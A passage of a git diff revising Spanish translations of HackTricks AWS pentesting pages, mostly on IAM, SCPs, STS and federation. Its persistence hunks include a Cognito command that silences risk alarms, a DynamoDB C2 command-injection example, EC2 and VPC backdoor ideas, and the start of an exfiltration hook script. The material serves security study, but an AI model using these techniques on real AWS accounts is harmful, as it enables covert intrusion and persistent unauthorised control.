**cuentas miembro** constituyen el resto de las cuentas en una organización. Una cuenta puede ser miembro de solo una organización a la vez. Puedes adjuntar una política a una cuenta para aplicar controles solo a esa cuenta. +- Las **cuentas miembro** constituyen el resto de las cuentas en una organización. Una cuenta puede ser miembro de solo una organización a la vez. Puedes adjuntar una política a una cuenta para aplicar controles solo a esa cuenta. - Las cuentas miembro **deben usar una dirección de correo electrónico válida** y pueden tener un **nombre**, en general no podrán gestionar la facturación (pero podrían recibir acceso a ella). ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com @@ -40,7 +40,7 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` ### Service Control Policy (SCP) -Una **política de control de servicio (SCP)** es una política que especifica los servicios y acciones que los usuarios y roles pueden usar en las cuentas que la SCP afecta. Las SCP son **similares a las políticas de permisos de IAM** excepto que **no otorgan ningún permiso**. En cambio, las SCP especifican los **permisos máximos** para una organización, unidad organizativa (OU) o cuenta. Cuando adjuntas una SCP a la raíz de tu organización o a una OU, la **SCP limita los permisos para las entidades en las cuentas miembros**. +Una **service control policy (SCP)** es una política que especifica los servicios y acciones que los usuarios y roles pueden usar en las cuentas que la SCP afecta. Las SCP son **similares a las políticas de permisos de IAM** excepto que **no otorgan ningún permiso**. En cambio, las SCP especifican los **permisos máximos** para una organización, unidad organizativa (OU) o cuenta. Cuando adjuntas una SCP a la raíz de tu organización o a una OU, la **SCP limita los permisos para las entidades en las cuentas miembros**. Esta es la ÚNICA forma en que **incluso el usuario raíz puede ser detenido** de hacer algo. Por ejemplo, podría usarse para evitar que los usuarios desactiven CloudTrail o eliminen copias de seguridad.\ La única forma de eludir esto es comprometer también la **cuenta maestra** que configura las SCP (la cuenta maestra no puede ser bloqueada). @@ -67,7 +67,7 @@ Encuentra **ejemplos de JSON** en [https://docs.aws.amazon.com/organizations/lat arn:partition:service:region:account-id:resource-type/resource-id arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env ``` -Note que hay 4 particiones en AWS pero solo 3 formas de llamarlas: +Nota que hay 4 particiones en AWS pero solo 3 formas de llamarlas: - AWS Standard: `aws` - AWS China: `aws-cn` @@ -88,9 +88,9 @@ IAM se puede definir por su capacidad para gestionar, controlar y gobernar los m Cuando creas por primera vez una cuenta de Amazon Web Services (AWS), comienzas con una única identidad de inicio de sesión que tiene **acceso completo a todos** los servicios y recursos de AWS en la cuenta. Este es el _**usuario raíz**_ de la cuenta de AWS y se accede iniciando sesión con la **dirección de correo electrónico y la contraseña que usaste para crear la cuenta**. -Ten en cuenta que un nuevo **usuario administrador** tendrá **menos permisos que el usuario raíz**. +Nota que un nuevo **usuario administrador** tendrá **menos permisos que el usuario raíz**. -Desde un punto de vista de seguridad, se recomienda crear otros usuarios y evitar usar este. +Desde el punto de vista de la seguridad, se recomienda crear otros usuarios y evitar usar este. ### [Usuarios de IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) @@ -120,7 +120,7 @@ Las políticas con condiciones de MFA se pueden adjuntar a lo siguiente: - La política de confianza de un rol de IAM que puede ser asumido por un usuario Si deseas **acceder a través de CLI** a un recurso que **verifica MFA**, necesitas llamar a **`GetSessionToken`**. Eso te dará un token con información sobre MFA.\ -Ten en cuenta que **las credenciales de `AssumeRole` no contienen esta información**. +Nota que **las credenciales de `AssumeRole` no contienen esta información**. ```bash aws sts get-session-token --serial-number --token-code ``` @@ -128,20 +128,20 @@ Como [**se indica aquí**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_c ### [Grupos de usuarios de IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) -Un [grupo de usuarios de IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) es una forma de **adjuntar políticas a múltiples usuarios** a la vez, lo que puede facilitar la gestión de los permisos para esos usuarios. **Los roles y grupos no pueden ser parte de un grupo**. +Un [grupo de usuarios](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) de IAM es una forma de **adjuntar políticas a múltiples usuarios** a la vez, lo que puede facilitar la gestión de los permisos para esos usuarios. **Los roles y grupos no pueden ser parte de un grupo**. -Puedes adjuntar una **política basada en identidad a un grupo de usuarios** para que todos los **usuarios** en el grupo de usuarios **reciban los permisos de la política**. **No puedes** identificar un **grupo de usuarios** como un **`Principal`** en una **política** (como una política basada en recursos) porque los grupos se relacionan con permisos, no con autenticación, y los principales son entidades IAM autenticadas. +Puedes adjuntar una **política basada en identidad a un grupo de usuarios** para que todos los **usuarios** en el grupo de usuarios **reciban los permisos de la política**. No **puedes** identificar un **grupo de usuarios** como un **`Principal`** en una **política** (como una política basada en recursos) porque los grupos se relacionan con permisos, no con autenticación, y los principales son entidades IAM autenticadas. Aquí hay algunas características importantes de los grupos de usuarios: - Un **grupo** de usuarios puede **contener muchos usuarios**, y un **usuario** puede **pertenecer a múltiples grupos**. - **Los grupos de usuarios no pueden estar anidados**; solo pueden contener usuarios, no otros grupos de usuarios. - No hay **un grupo de usuarios predeterminado que incluya automáticamente a todos los usuarios en la cuenta de AWS**. Si deseas tener un grupo de usuarios así, debes crearlo y asignar a cada nuevo usuario a él. -- El número y tamaño de los recursos IAM en una cuenta de AWS, como el número de grupos y el número de grupos de los que un usuario puede ser miembro, son limitados. Para más información, consulta [cuotas de IAM y AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). +- El número y tamaño de los recursos de IAM en una cuenta de AWS, como el número de grupos y el número de grupos de los que un usuario puede ser miembro, son limitados. Para más información, consulta [cuotas de IAM y AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). ### [Roles de IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -Un **rol** de IAM es muy **similar** a un **usuario**, en el sentido de que es una **identidad con políticas de permisos que determinan qué** puede y no puede hacer en AWS. Sin embargo, un rol **no tiene ninguna credencial** (contraseña o claves de acceso) asociada. En lugar de estar asociado de manera única a una persona, un rol está destinado a ser **asumido por cualquier persona que lo necesite (y tenga suficientes permisos)**. Un **usuario de IAM puede asumir un rol para temporalmente** adquirir diferentes permisos para una tarea específica. Un rol puede ser **asignado a un** [**usuario federado**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) que inicia sesión utilizando un proveedor de identidad externo en lugar de IAM. +Un **rol** de IAM es muy **similar** a un **usuario**, en el sentido de que es una **identidad con políticas de permisos que determinan qué** puede y no puede hacer en AWS. Sin embargo, un rol **no tiene ninguna credencial** (contraseña o claves de acceso) asociada. En lugar de estar asociado de manera única a una persona, un rol está destinado a ser **asumido por cualquier persona que lo necesite (y tenga suficientes permisos)**. Un **usuario de IAM puede asumir un rol para temporalmente** adoptar diferentes permisos para una tarea específica. Un rol puede ser **asignado a un** [**usuario federado**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) que inicia sesión utilizando un proveedor de identidad externo en lugar de IAM. Un rol de IAM consiste en **dos tipos de políticas**: una **política de confianza**, que no puede estar vacía, definiendo **quién puede asumir** el rol, y una **política de permisos**, que no puede estar vacía, definiendo **a qué puede acceder**. @@ -151,7 +151,7 @@ El Servicio de Token de Seguridad de AWS (STS) es un servicio web que facilita l ### [Credenciales temporales en IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -**Las credenciales temporales se utilizan principalmente con roles de IAM**, pero también hay otros usos. Puedes solicitar credenciales temporales que tengan un conjunto de permisos más restringido que tu usuario IAM estándar. Esto **previene** que **realices accidentalmente tareas que no están permitidas** por las credenciales más restringidas. Un beneficio de las credenciales temporales es que expiran automáticamente después de un período de tiempo establecido. Tienes control sobre la duración durante la cual las credenciales son válidas. +**Las credenciales temporales se utilizan principalmente con roles de IAM**, pero también hay otros usos. Puedes solicitar credenciales temporales que tengan un conjunto de permisos más restringido que tu usuario de IAM estándar. Esto **previene** que **realices accidentalmente tareas que no están permitidas** por las credenciales más restringidas. Un beneficio de las credenciales temporales es que expiran automáticamente después de un período de tiempo establecido. Tienes control sobre la duración durante la cual las credenciales son válidas. ### Políticas @@ -160,10 +160,10 @@ El Servicio de Token de Seguridad de AWS (STS) es un servicio web que facilita l Se utilizan para asignar permisos. Hay 2 tipos: - Políticas administradas por AWS (preconfiguradas por AWS) -- Políticas administradas por el cliente: configuradas por ti. Puedes crear políticas basadas en políticas administradas por AWS (modificando una de ellas y creando la tuya propia), utilizando el generador de políticas (una vista GUI que te ayuda a otorgar y denegar permisos) o escribiendo la tuya propia. +- Políticas administradas por el cliente: configuradas por ti. Puedes crear políticas basadas en políticas administradas por AWS (modificando una de ellas y creando la tuya), utilizando el generador de políticas (una vista GUI que te ayuda a otorgar y denegar permisos) o escribiendo la tuya propia. Por **defecto, el acceso** es **denegado**, el acceso se otorgará si se ha especificado un rol explícito.\ -Si **existe un único "Deny", anulará el "Allow"**, excepto para las solicitudes que utilizan las credenciales de seguridad raíz de la cuenta de AWS (que están permitidas por defecto). +Si **existe un "Deny" único, anulará el "Allow"**, excepto para las solicitudes que utilizan las credenciales de seguridad raíz de la cuenta de AWS (que están permitidas por defecto). ```javascript { "Version": "2012-10-17", //Version of the policy @@ -191,14 +191,14 @@ Los [campos específicos que se pueden usar para condiciones por servicio están #### Políticas en línea -Este tipo de políticas son **asignadas directamente** a un usuario, grupo o rol. Entonces, no aparecen en la lista de Políticas ya que cualquier otro puede usarlas.\ +Este tipo de políticas son **asignadas directamente** a un usuario, grupo o rol. Entonces, no aparecen en la lista de Políticas ya que ningún otro puede usarlas.\ Las políticas en línea son útiles si deseas **mantener una relación estricta uno a uno entre una política y la identidad** a la que se aplica. Por ejemplo, quieres asegurarte de que los permisos en una política no se asignen inadvertidamente a una identidad diferente de la que están destinados. Cuando usas una política en línea, los permisos en la política no pueden ser adjuntados inadvertidamente a la identidad incorrecta. Además, cuando usas la Consola de Administración de AWS para eliminar esa identidad, las políticas incrustadas en la identidad también se eliminan. Eso es porque son parte de la entidad principal. #### Políticas de Bucket de Recursos Estas son **políticas** que se pueden definir en **recursos**. **No todos los recursos de AWS las soportan**. -Si un principal no tiene una denegación explícita sobre ellos, y una política de recurso les otorga acceso, entonces se les permite. +Si un principal no tiene un denegación explícita sobre ellos, y una política de recurso les otorga acceso, entonces se les permite. ### Límites de IAM @@ -220,18 +220,18 @@ aws sts assume-role \ [--policy-arns ] [--policy ] ``` -Note que por defecto **AWS podría agregar políticas de sesión a las sesiones** que se van a generar por razones de terceros. Por ejemplo, en [roles asumidos de cognito no autenticados](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) por defecto (usando autenticación mejorada), AWS generará **credenciales de sesión con una política de sesión** que limita los servicios a los que la sesión puede acceder [**a la siguiente lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). +Tenga en cuenta que por defecto **AWS podría agregar políticas de sesión a las sesiones** que se van a generar por razones de terceros. Por ejemplo, en [roles asumidos de cognito no autenticados](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) por defecto (usando autenticación mejorada), AWS generará **credenciales de sesión con una política de sesión** que limita los servicios a los que la sesión puede acceder [**a la siguiente lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). -Por lo tanto, si en algún momento te enfrentas al error "... porque ninguna política de sesión permite el ...", y el rol tiene acceso para realizar la acción, es porque **hay una política de sesión que lo impide**. +Por lo tanto, si en algún momento se enfrenta al error "... porque ninguna política de sesión permite el ...", y el rol tiene acceso para realizar la acción, es porque **hay una política de sesión que lo impide**. ### Federación de Identidad -La federación de identidad **permite a los usuarios de proveedores de identidad que son externos** a AWS acceder a recursos de AWS de manera segura sin tener que proporcionar credenciales de usuario de AWS de una cuenta IAM válida.\ -Un ejemplo de un proveedor de identidad puede ser tu propio **Microsoft Active Directory** corporativo (a través de **SAML**) o servicios de **OpenID** (como **Google**). El acceso federado permitirá a los usuarios dentro de él acceder a AWS. +La federación de identidad **permite a los usuarios de proveedores de identidad que son externos** a AWS acceder a los recursos de AWS de manera segura sin tener que proporcionar credenciales de usuario de AWS de una cuenta de IAM válida.\ +Un ejemplo de un proveedor de identidad puede ser su propio **Microsoft Active Directory** corporativo (a través de **SAML**) o servicios de **OpenID** (como **Google**). El acceso federado permitirá entonces a los usuarios dentro de él acceder a AWS. Para configurar esta confianza, se genera un **Proveedor de Identidad IAM (SAML u OAuth)** que **confiará** en la **otra plataforma**. Luego, al menos un **rol IAM es asignado (confiando) al Proveedor de Identidad**. Si un usuario de la plataforma de confianza accede a AWS, lo hará como el rol mencionado. -Sin embargo, generalmente querrás dar un **rol diferente dependiendo del grupo del usuario** en la plataforma de terceros. Entonces, varios **roles IAM pueden confiar** en el Proveedor de Identidad de terceros y la plataforma de terceros será la que permitirá a los usuarios asumir un rol u otro. +Sin embargo, generalmente querrá dar un **rol diferente dependiendo del grupo del usuario** en la plataforma de terceros. Entonces, varios **roles IAM pueden confiar** en el Proveedor de Identidad de terceros y la plataforma de terceros será la que permitirá a los usuarios asumir un rol u otro.
@@ -241,7 +241,7 @@ AWS IAM Identity Center (sucesor de AWS Single Sign-On) amplía las capacidades El dominio de inicio de sesión será algo como `.awsapps.com`. -Para iniciar sesión a los usuarios, hay 3 fuentes de identidad que se pueden usar: +Para iniciar sesión a los usuarios, hay 3 fuentes de identidad que se pueden utilizar: - Directorio del Centro de Identidad: Usuarios regulares de AWS - Active Directory: Soporta diferentes conectores @@ -257,12 +257,12 @@ Para dar acceso a un usuario/grupo del Centro de Identidad a una cuenta, se **cr Es posible **dar permisos a través de políticas en línea a roles creados a través del Centro de Identidad IAM**. Los roles creados en las cuentas que se les dan **políticas en línea en AWS Identity Center** tendrán estos permisos en una política en línea llamada **`AwsSSOInlinePolicy`**. -Por lo tanto, incluso si ves 2 roles con una política en línea llamada **`AwsSSOInlinePolicy`**, **no significa que tenga los mismos permisos**. +Por lo tanto, incluso si ve 2 roles con una política en línea llamada **`AwsSSOInlinePolicy`**, **no significa que tenga los mismos permisos**. ### Confianza y Roles entre Cuentas -**Un usuario** (confiando) puede crear un Rol entre Cuentas con algunas políticas y luego, **permitir a otro usuario** (confiado) **acceder a su cuenta** pero solo **teniendo el acceso indicado en las nuevas políticas del rol**. Para crear esto, solo crea un nuevo Rol y selecciona Rol entre Cuentas. Los roles para Acceso entre Cuentas ofrecen dos opciones. Proporcionar acceso entre cuentas de AWS que posees, y proporcionar acceso entre una cuenta que posees y una cuenta de AWS de terceros.\ -Se recomienda **especificar el usuario que es confiado y no poner algo genérico** porque de lo contrario, otros usuarios autenticados como usuarios federados también podrán abusar de esta confianza. +**Un usuario** (confiando) puede crear un Rol entre Cuentas con algunas políticas y luego, **permitir a otro usuario** (confiado) **acceder a su cuenta** pero solo **teniendo el acceso indicado en las nuevas políticas del rol**. Para crear esto, simplemente cree un nuevo Rol y seleccione Rol entre Cuentas. Los roles para Acceso entre Cuentas ofrecen dos opciones. Proporcionar acceso entre cuentas de AWS que posee, y proporcionar acceso entre una cuenta que posee y una cuenta de AWS de terceros.\ +Se recomienda **especificar el usuario que es de confianza y no poner algo genérico** porque de lo contrario, otros usuarios autenticados como usuarios federados también podrán abusar de esta confianza. ### AWS Simple AD @@ -270,10 +270,10 @@ No soportado: - Relaciones de Confianza - Centro de Administración de AD -- Soporte completo de PS API +- Soporte completo de API de PS - Papelera de reciclaje de AD -- Cuentas de servicio administradas por grupos -- Extensiones de esquema +- Cuentas de Servicio Administradas por Grupo +- Extensiones de Esquema - Sin acceso directo a OS o Instancias #### Federación Web o Autenticación OpenID @@ -282,14 +282,14 @@ La aplicación utiliza AssumeRoleWithWebIdentity para crear credenciales tempora ### Otras opciones de IAM -- Puedes **establecer una configuración de política de contraseñas** con opciones como longitud mínima y requisitos de contraseña. -- Puedes **descargar "Informe de Credenciales"** con información sobre las credenciales actuales (como tiempo de creación del usuario, si la contraseña está habilitada...). Puedes generar un informe de credenciales tan a menudo como una vez cada **cuatro horas**. +- Puede **establecer una configuración de política de contraseñas** con opciones como longitud mínima y requisitos de contraseña. +- Puede **descargar un "Informe de Credenciales"** con información sobre las credenciales actuales (como el tiempo de creación del usuario, si la contraseña está habilitada...). Puede generar un informe de credenciales tan a menudo como una vez cada **cuatro horas**. -AWS Identity and Access Management (IAM) proporciona **control de acceso detallado** en toda AWS. Con IAM, puedes especificar **quién puede acceder a qué servicios y recursos**, y bajo qué condiciones. Con las políticas de IAM, gestionas los permisos para tu fuerza laboral y sistemas para **asegurar permisos de menor privilegio**. +AWS Identity and Access Management (IAM) proporciona **control de acceso detallado** en toda AWS. Con IAM, puede especificar **quién puede acceder a qué servicios y recursos**, y bajo qué condiciones. Con las políticas de IAM, gestiona los permisos para su fuerza laboral y sistemas para **asegurar permisos de menor privilegio**. -### Prefijos de ID IAM +### Prefijos de ID de IAM -En [**esta página**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) puedes encontrar los **prefijos de ID IAM** de las claves dependiendo de su naturaleza: +En [**esta página**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) puede encontrar los **prefijos de ID de IAM** de las claves dependiendo de su naturaleza: | ABIA | [Token portador del servicio AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | @@ -322,8 +322,8 @@ Los siguientes privilegios otorgan varios accesos de lectura de metadatos: ### Autenticación CLI -Para que un usuario regular se autentique en AWS a través de CLI, necesitas tener **credenciales locales**. Por defecto, puedes configurarlas **manualmente** en `~/.aws/credentials` o **ejecutando** `aws configure`.\ -En ese archivo puedes tener más de un perfil, si **no se especifica un perfil** usando el **aws cli**, se utilizará el llamado **`[default]`** en ese archivo.\ +Para que un usuario regular se autentique en AWS a través de CLI, necesita tener **credenciales locales**. Por defecto, puede configurarlas **manualmente** en `~/.aws/credentials` o **ejecutando** `aws configure`.\ +En ese archivo puede tener más de un perfil, si **no se especifica un perfil** usando el **aws cli**, se utilizará el llamado **`[default]`** en ese archivo.\ Ejemplo de archivo de credenciales con más de 1 perfil: ``` [default] @@ -351,7 +351,7 @@ Con este archivo de configuración, puedes usar aws cli así: ``` aws --profile acc2 ... ``` -Si estás buscando algo **similar** a esto pero para el **navegador**, puedes revisar la **extensión** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en). +Si estás buscando algo **similar** a esto pero para el **navegador**, puedes consultar la **extensión** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en). ## Referencias diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md index df2679bc3..fa02080a3 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -46,7 +46,7 @@ Para agregar una acción de github como proveedor de identidad: ``` 6. Nota en la política anterior cómo solo se autorizó una **rama** de un **repositorio** de una **organización** con un **disparador** específico. 7. El **ARN** del **rol** que la acción de github podrá **suplantar** será el "secreto" que la acción de github necesita conocer, así que **almacénalo** dentro de un **secreto** dentro de un **entorno**. -8. Finalmente, usa una acción de github para configurar las credenciales de AWS que serán utilizadas por el flujo de trabajo: +8. Finalmente, usa una acción de github para configurar las credenciales de AWS que se utilizarán en el flujo de trabajo: ```yaml name: "test AWS Access" @@ -78,7 +78,7 @@ role-session-name: OIDCSession - run: aws sts get-caller-identity shell: bash ``` -## OIDC - EKS Abuso +## OIDC - Abuso de EKS ```bash # Crate an EKS cluster (~10min) eksctl create cluster --name demo --fargate diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md index 40e26b6da..ae567370e 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md @@ -12,7 +12,7 @@ Para más información, ve a: ### Política de Recursos -Modifica la política de recursos del(los) API gateway(s) para concederte acceso a ellos. +Modifica la política de recursos de los API gateway(s) para concederte acceso a ellos. ### Modificar Autorizadores de Lambda diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md index cd6e7e640..b5c8c0cc4 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md @@ -1,4 +1,4 @@ -# AWS - Cognito Persistence +# AWS - Persistencia de Cognito {{#include ../../../banners/hacktricks-training.md}} @@ -10,7 +10,7 @@ Para más información, accede a: ../aws-services/aws-cognito-enum/ {{#endref}} -### Persistencia de usuarios +### Persistencia de usuario Cognito es un servicio que permite otorgar roles a usuarios no autenticados y autenticados y controlar un directorio de usuarios. Se pueden alterar varias configuraciones diferentes para mantener cierta persistencia, como: @@ -19,7 +19,7 @@ Cognito es un servicio que permite otorgar roles a usuarios no autenticados y au - O a un **Identity Pool autenticado** si el atacante puede iniciar sesión - O **mejorar los permisos** de los roles otorgados - **Crear, verificar y privesc** a través de atributos controlados por usuarios o nuevos usuarios en un **User Pool** -- **Permitir Proveedores de Identidad externos** para iniciar sesión en un User Pool o en un Identity Pool +- **Permitir que Proveedores de Identidad externos** inicien sesión en un User Pool o en un Identity Pool Consulta cómo realizar estas acciones en @@ -29,7 +29,7 @@ Consulta cómo realizar estas acciones en ### `cognito-idp:SetRiskConfiguration` -Un atacante con este privilegio podría modificar la configuración de riesgo para poder iniciar sesión como un usuario de Cognito **sin que se disparen alarmas**. [**Consulta la cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) para ver todas las opciones: +Un atacante con este privilegio podría modificar la configuración de riesgo para poder iniciar sesión como un usuario de Cognito **sin que se disparen alarmas**. [**Consulta el cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) para ver todas las opciones: ```bash aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} ``` diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md index 2c1a6f488..3bb11717d 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md @@ -54,6 +54,6 @@ aws dynamodb put-item \ --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ --region ``` -Las instancias comprometidas o funciones Lambda pueden verificar periódicamente la tabla C2 en busca de nuevos comandos, ejecutarlos y, opcionalmente, informar los resultados de vuelta a la tabla. Esto permite al atacante mantener la persistencia y el control sobre los recursos comprometidos. +Las instancias comprometidas o funciones de Lambda pueden verificar periódicamente la tabla C2 en busca de nuevos comandos, ejecutarlos y, opcionalmente, informar los resultados de vuelta a la tabla. Esto permite al atacante mantener la persistencia y el control sobre los recursos comprometidos. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md index c6a8ca00a..f015ba85b 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md @@ -1,4 +1,4 @@ -# AWS - EC2 Persistence +# AWS - EC2 Persistencia {{#include ../../../banners/hacktricks-training.md}} @@ -14,7 +14,7 @@ Para más información, consulta: Si un defensor descubre que una **instancia de EC2 fue comprometida**, probablemente intentará **aislar** la **red** de la máquina. Podría hacer esto con un **Deny NACL** explícito (pero los NACL afectan a toda la subred), o **cambiando el grupo de seguridad** para no permitir **ningún tipo de tráfico entrante o saliente**. -Si el atacante tenía un **reverse shell originado desde la máquina**, incluso si el SG se modifica para no permitir tráfico entrante o saliente, la **conexión no será eliminada debido a** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** +Si el atacante tenía un **reverse shell originado desde la máquina**, incluso si el SG se modifica para no permitir tráfico entrante o saliente, la **conexión no será cerrada debido a** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** ### Administrador del Ciclo de Vida de EC2 @@ -27,7 +27,7 @@ Es posible programar instancias para que se ejecuten diariamente, semanalmente o ### Solicitud de Flota Spot -Las instancias spot son **más baratas** que las instancias regulares. Un atacante podría lanzar una **pequeña solicitud de flota spot por 5 años** (por ejemplo), con **asignación automática de IP** y un **user data** que envía al atacante **cuando la instancia spot inicia** y la **dirección IP** y con un **rol IAM de alto privilegio**. +Las instancias Spot son **más baratas** que las instancias regulares. Un atacante podría lanzar una **pequeña solicitud de flota spot por 5 años** (por ejemplo), con **asignación automática de IP** y un **user data** que envía al atacante **cuando la instancia spot se inicie** y la **dirección IP** y con un **rol IAM de alto privilegio**. ### Instancias de Puerta Trasera @@ -39,16 +39,16 @@ Un atacante podría acceder a las instancias y ponerles una puerta trasera: ### **Configuración de Lanzamiento de Puerta Trasera** -- Poner una puerta trasera en el AMI utilizado +- Poner una puerta trasera en la AMI utilizada - Poner una puerta trasera en el User Data - Poner una puerta trasera en el Par de Claves ### VPN -Crea una VPN para que el atacante pueda conectarse directamente a través de ella a la VPC. +Crear una VPN para que el atacante pueda conectarse directamente a través de ella a la VPC. ### Peering de VPC -Crea una conexión de peering entre la VPC de la víctima y la VPC del atacante para que pueda acceder a la VPC de la víctima. +Crear una conexión de peering entre la VPC de la víctima y la VPC del atacante para que pueda acceder a la VPC de la víctima. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md index 2c9f93271..bff34357e 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md @@ -12,7 +12,7 @@ Para más información, consulta: ### Imagen de Docker Oculta con Código Malicioso -Un atacante podría **subir una imagen de Docker que contenga código malicioso** a un repositorio de ECR y usarla para mantener la persistencia en la cuenta de AWS objetivo. El atacante podría luego desplegar la imagen maliciosa en varios servicios dentro de la cuenta, como Amazon ECS o EKS, de manera sigilosa. +Un atacante podría **subir una imagen de Docker que contenga código malicioso** a un repositorio de ECR y usarla para mantener persistencia en la cuenta de AWS objetivo. El atacante podría luego desplegar la imagen maliciosa en varios servicios dentro de la cuenta, como Amazon ECS o EKS, de manera sigilosa. ### Política del Repositorio diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md index 2c6d71352..91b7fc0bb 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md @@ -1,4 +1,4 @@ -# AWS - ECS Persistence +# AWS - Persistencia en ECS {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md index c20243478..1a75d5022 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md @@ -4,7 +4,7 @@ ## EFS -Para más información, consulta: +Para más información consulta: {{#ref}} ../aws-services/aws-efs-enum.md diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md index 0d9a3966f..a98ab8620 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md @@ -1,4 +1,4 @@ -# AWS - Persistencia en Elastic Beanstalk +# AWS - Elastic Beanstalk Persistence {{#include ../../../banners/hacktricks-training.md}} @@ -22,12 +22,12 @@ Un atacante podría insertar una puerta trasera en el código dentro del reposit En lugar de cambiar el código en la versión actual, el atacante podría desplegar una nueva versión de la aplicación con puerta trasera. -### Abusando de los Hooks del Ciclo de Vida de Recursos Personalizados +### Abusando de los Ganchos del Ciclo de Vida de Recursos Personalizados > [!NOTE] -> TODO: Probar +> TODO: Test -Elastic Beanstalk proporciona hooks de ciclo de vida que te permiten ejecutar scripts personalizados durante la provisión y terminación de instancias. Un atacante podría **configurar un hook de ciclo de vida para ejecutar periódicamente un script que exfiltra datos o mantiene el acceso a la cuenta de AWS**. +Elastic Beanstalk proporciona ganchos de ciclo de vida que te permiten ejecutar scripts personalizados durante la provisión y terminación de instancias. Un atacante podría **configurar un gancho de ciclo de vida para ejecutar periódicamente un script que exfiltra datos o mantiene el acceso a la cuenta de AWS**. ```bash bashCopy code# Attacker creates a script that exfiltrates data and maintains access echo '#!/bin/bash diff --git 